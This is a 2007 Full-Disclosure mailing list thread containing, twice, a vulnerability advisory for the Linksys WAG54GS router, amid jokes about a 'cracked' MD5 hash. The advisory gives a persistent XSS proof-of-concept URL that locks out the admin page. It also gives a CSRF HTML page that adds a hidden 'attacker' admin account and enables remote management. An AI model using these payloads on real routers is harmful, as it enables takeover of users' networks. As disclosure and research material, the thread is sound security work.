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Re: Persistent XSS and CSRF on network appliance [subject corrected :) ]

From: "Dr. Neal Krawetz PhD" <neal () krawetz org>
Date: Thu, 28 Jun 2007 00:01:56 +0200
We heard you the first time, gobbles aka n3td3v.

- doc neal
http://www.hackerfactor.com/blog/

On Wed, Jun 27, 2007 at 10:49:25PM +0100, pagvac wrote:

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Hash: SHA1

Nice look up to http://unknown.pentester.googlepages.com/sitemap.xml

If you bothered that much you deserve the advisory I guess :-D.

btw, I didn't know google pages have sitemap.xml enabled by default.

So no hash cracking here, just to set things straight.

Joey Mengele wrote:

After plugging this hash into John The Ripper, I was able to
reproduce the text of the original advisory. It follows in
entirety. For those wishing to verify the hash provided by the
architect, I have also included the advisory in attachment form as
a convenience for the skeptics who say MD5 can not be reversed.

J

___ BEGIN LAME CRACKED ADVISORY ___
Persistent XSS and CSRF and on Wireless-G ADSL Gateway with
SpeedBooster (WAG54GS)

== Date found ==

24 June 2007

== Firmware Version ==

V1.00.06

== Description ==


There are several persistent XSS vulnerabilities on the
'/setup.cgi' script.

It is possible to inject JavaScript by assigning a payload like the
following
to any of the vulnerable parameters:


<script>[PAYLOAD]</script>


The vulnerable (non-sanitized) parameters are the following:

'devname'
'snmp_getcomm'
'snmp_setcomm'
'c4_trap_ip_'

Additionally, all HTTP requests are not tokenized using non-
predictable values.
Thus, all requests to the router's HTTP interface are vulnerable to
Cross-site
Request Forgeries (CSRF), perhaps by design.

The following is an example of a HTTP request (notice the lack of
non-predictable tokens):

    POST /setup.cgi HTTP/1.1
    Authorization: Basic YWRtaW46YWRtaW4=

    mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file
=Factorydefaults.htm&next_file=index.htm&message=

Although the original request is a POST, we can convert it to a
GET, so that all posted parameters can be submitted on a single URL.

For example, the previous POST request can be converted to a URL
such as the following:

    http://admin:admin@192.168.1.1/setup.cgi?mtenRestore=Restore+Factor
y+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_f
ile=index.htm&message=

By forging administrative requests ("Administration" button on the
router's HTML menu), an attacker can compromise the router provided
the
victim user visits a malicious URL or HTML page.

The attack can only be successfuly if any of the following
conditions are met:

- the administrator hasn't changed the default credentials
(admin/admin)
- the administrator's browser has an active authentication session
with the router's interface when the attack happens
  (highly unlikely)


== Persistent XSS PoC ==

The following URL creates a DoS condition by making the
"Administration" page inaccessible since 'history.back()'
will run everytime the Administration page is visited. Thus the
administrator won't be able to ever change the
default credentials unless a hard reset is performed on using the
router's physical "restart" switch:

    http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin&;
sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http
_wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_e
nable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=
yes&h_remote_management=enable&c4_trap_ip_="><script>history.back()<
/script>&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=ena
ble&todo=save&this_file=Administration.htm&next_file=Administration.
htm&message=
    http://tinyurl.com/36sjzw


== CSRF PoC ==

The following HTML page does the following:

- adds an *additional* administrative account, with a username
equals to 'attacker' and a password equals to '0wned' (without
removing original admin account!)
- enables remote HTTP management over port 1337
- sets other settings that are inrelevant to this discussion

    <html>
    <body>
        <script>
        // send 2 requests to add an administrative account and enable
remote management
        // tries with default credentials and with credentials cached by
browser (if any)
   
        var img = new Image();
        var img2 = new Image();

        img.src =
'http://admin:admin@192.168.1.1/setup.cgi?user_list=8&sysname=attack
er&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&h
ttp_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wla
n_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchang
ed=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable
&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Admin
istration.htm&next_file=Administration.htm&message=';
        img2.src =
'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd
=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=
1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=ena
ble&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_rem
ote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enab
le=enable&h_wlan_enable=enable&todo=save&this_file=Administration.ht
m&next_file=Administration.htm&message=';
        </script>
    </body>
    </html>

The first URL forges the administrative request using the default
credentials, so it won't work if default credentials
have been changed.

The second URL doesn't specify any credentials as an attempt to use
the browser's cached credentials.
If the admin user has clicked on "Save password" on the basic
authentication prompt, most browsers will
prompt the user to confirm submitting the cached credentials. The
only situation in which browsers won't
ask the user to confirm submitting the credentials would be if the
malicious CSRF page was visited while
the browser has an active authenticated session with the router's
HTTP interface (very unlikely).


== Additional notes ==

- router reboots after saving settings (requests sent to
'setup.cgi')

- all attacks were tested using Internet Explorer 7

- No firmware updates were available at time of testing, only GPL
code is available:

http://www.linksys.com/servlet/Satellite?c=L_CASupport_C2&childpagen
ame=US%2FLayout&cid=1166859889040&pagename=Linksys%2FCommon%2FVisito
rWrapper&lid=8904040638B02&displaypage=download#versiondetail


== References ==

http://www.linksys.com/


== Credits ==

pagvac [ikwt.com] and Petko Petkov [gnucitizen.org]
___ END LAME CRACKED ADVISORY ___

On Wed, 27 Jun 2007 16:29:43 -0400 pagvac
<unknown.pentester () gmail com> wrote:

The file "research.txt" will be provided once the vendor fixes the
issues. At that point anyone can check that the hash matches the
one
included in this post.

Thank you.

Joey Mengele wrote:

Please provide the original content of research.txt so I can

verify

that the hash is correct. I will also need the hash of your
md5sum.exe. Thanks.

J

On Wed, 27 Jun 2007 16:02:16 -0400 pagvac
<unknown.pentester () gmail com> wrote:

The HTTP interface of a network appliance has been researched

and

found to be vulnerable to several persistent XSS and CSRF.

Such research was done by pdp (architect) and myself. We

informed

the
vendor and will publish the details when a fix is available.

The following is the MD5 hash for the advisory file.

$ md5sum.exe research.txt
3db1d71fc3a0eae119617b3b1124206f  *research.txt

Regards,

--
pagvac
[http://gnucitizen.org, http://ikwt.com/]

--
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business.
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zooSm6N56gZuYA97Kt/




--
pagvac
[http://gnucitizen.org, http://ikwt.com/]


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----------------------------------------------------------------------

Persistent XSS and CSRF and on Wireless-G ADSL Gateway with

SpeedBooster (WAG54GS)


== Date found ==

24 June 2007

== Firmware Version ==

V1.00.06

== Description ==


There are several persistent XSS vulnerabilities on the '/setup.cgi'

script.


It is possible to inject JavaScript by assigning a payload like the

following

to any of the vulnerable parameters:


<script>[PAYLOAD]</script>


The vulnerable (non-sanitized) parameters are the following:

'devname'
'snmp_getcomm'
'snmp_setcomm'
'c4_trap_ip_'

Additionally, all HTTP requests are not tokenized using non-predictable

values.

Thus, all requests to the router's HTTP interface are vulnerable to

Cross-site

Request Forgeries (CSRF), perhaps by design.

The following is an example of a HTTP request (notice the lack of

non-predictable tokens):


    POST /setup.cgi HTTP/1.1
    Authorization: Basic YWRtaW46YWRtaW4=

   

mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=index.htm&message=


Although the original request is a POST, we can convert it to a GET, so

that all posted parameters can be submitted on a single URL.


For example, the previous POST request can be converted to a URL such

as the following:


   

http://admin:admin@192.168.1.1/setup.cgi?mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=index.htm&message=


By forging administrative requests ("Administration" button on the

router's HTML menu), an attacker can compromise the router provided the

victim user visits a malicious URL or HTML page.

The attack can only be successfuly if any of the following conditions

are met:


- the administrator hasn't changed the default credentials (admin/admin)
- the administrator's browser has an active authentication session with

the router's interface when the attack happens

  (highly unlikely)


== Persistent XSS PoC ==

The following URL creates a DoS condition by making the

"Administration" page inaccessible since 'history.back()'

will run everytime the Administration page is visited. Thus the

administrator won't be able to ever change the

default credentials unless a hard reset is performed on using the

router's physical "restart" switch:


   

http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin&sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http_wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=";><script>history.back()</script>&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=

    http://tinyurl.com/36sjzw


== CSRF PoC ==

The following HTML page does the following:

- adds an *additional* administrative account, with a username equals

to 'attacker' and a password equals to '0wned' (without removing
original admin account!)

- enables remote HTTP management over port 1337
- sets other settings that are inrelevant to this discussion

    <html>
    <body>
        <script>
        // send 2 requests to add an administrative account and enable

remote management

        // tries with default credentials and with credentials cached

by browser (if any)

   
        var img = new Image();
        var img2 = new Image();

        img.src =

'http://admin:admin@192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=&apos;;

        img2.src =

'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=&apos;;

        </script>
    </body>
    </html>

The first URL forges the administrative request using the default

credentials, so it won't work if default credentials

have been changed.

The second URL doesn't specify any credentials as an attempt to use the

browser's cached credentials.

If the admin user has clicked on "Save password" on the basic

authentication prompt, most browsers will

prompt the user to confirm submitting the cached credentials. The only

situation in which browsers won't

ask the user to confirm submitting the credentials would be if the

malicious CSRF page was visited while

the browser has an active authenticated session with the router's HTTP

interface (very unlikely).



== Additional notes ==

- router reboots after saving settings (requests sent to 'setup.cgi')

- all attacks were tested using Internet Explorer 7

- No firmware updates were available at time of testing, only GPL code

is available:


http://www.linksys.com/servlet/Satellite?c=L_CASupport_C2&childpagename=US%2FLayout&cid=1166859889040&pagename=Linksys%2FCommon%2FVisitorWrapper&lid=8904040638B02&displaypage=download#versiondetail


== References ==

http://www.linksys.com/


== Credits ==

pagvac [ikwt.com] and Petko Petkov [gnucitizen.org]



- --
pagvac
[http://gnucitizen.org, http://ikwt.com/]
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
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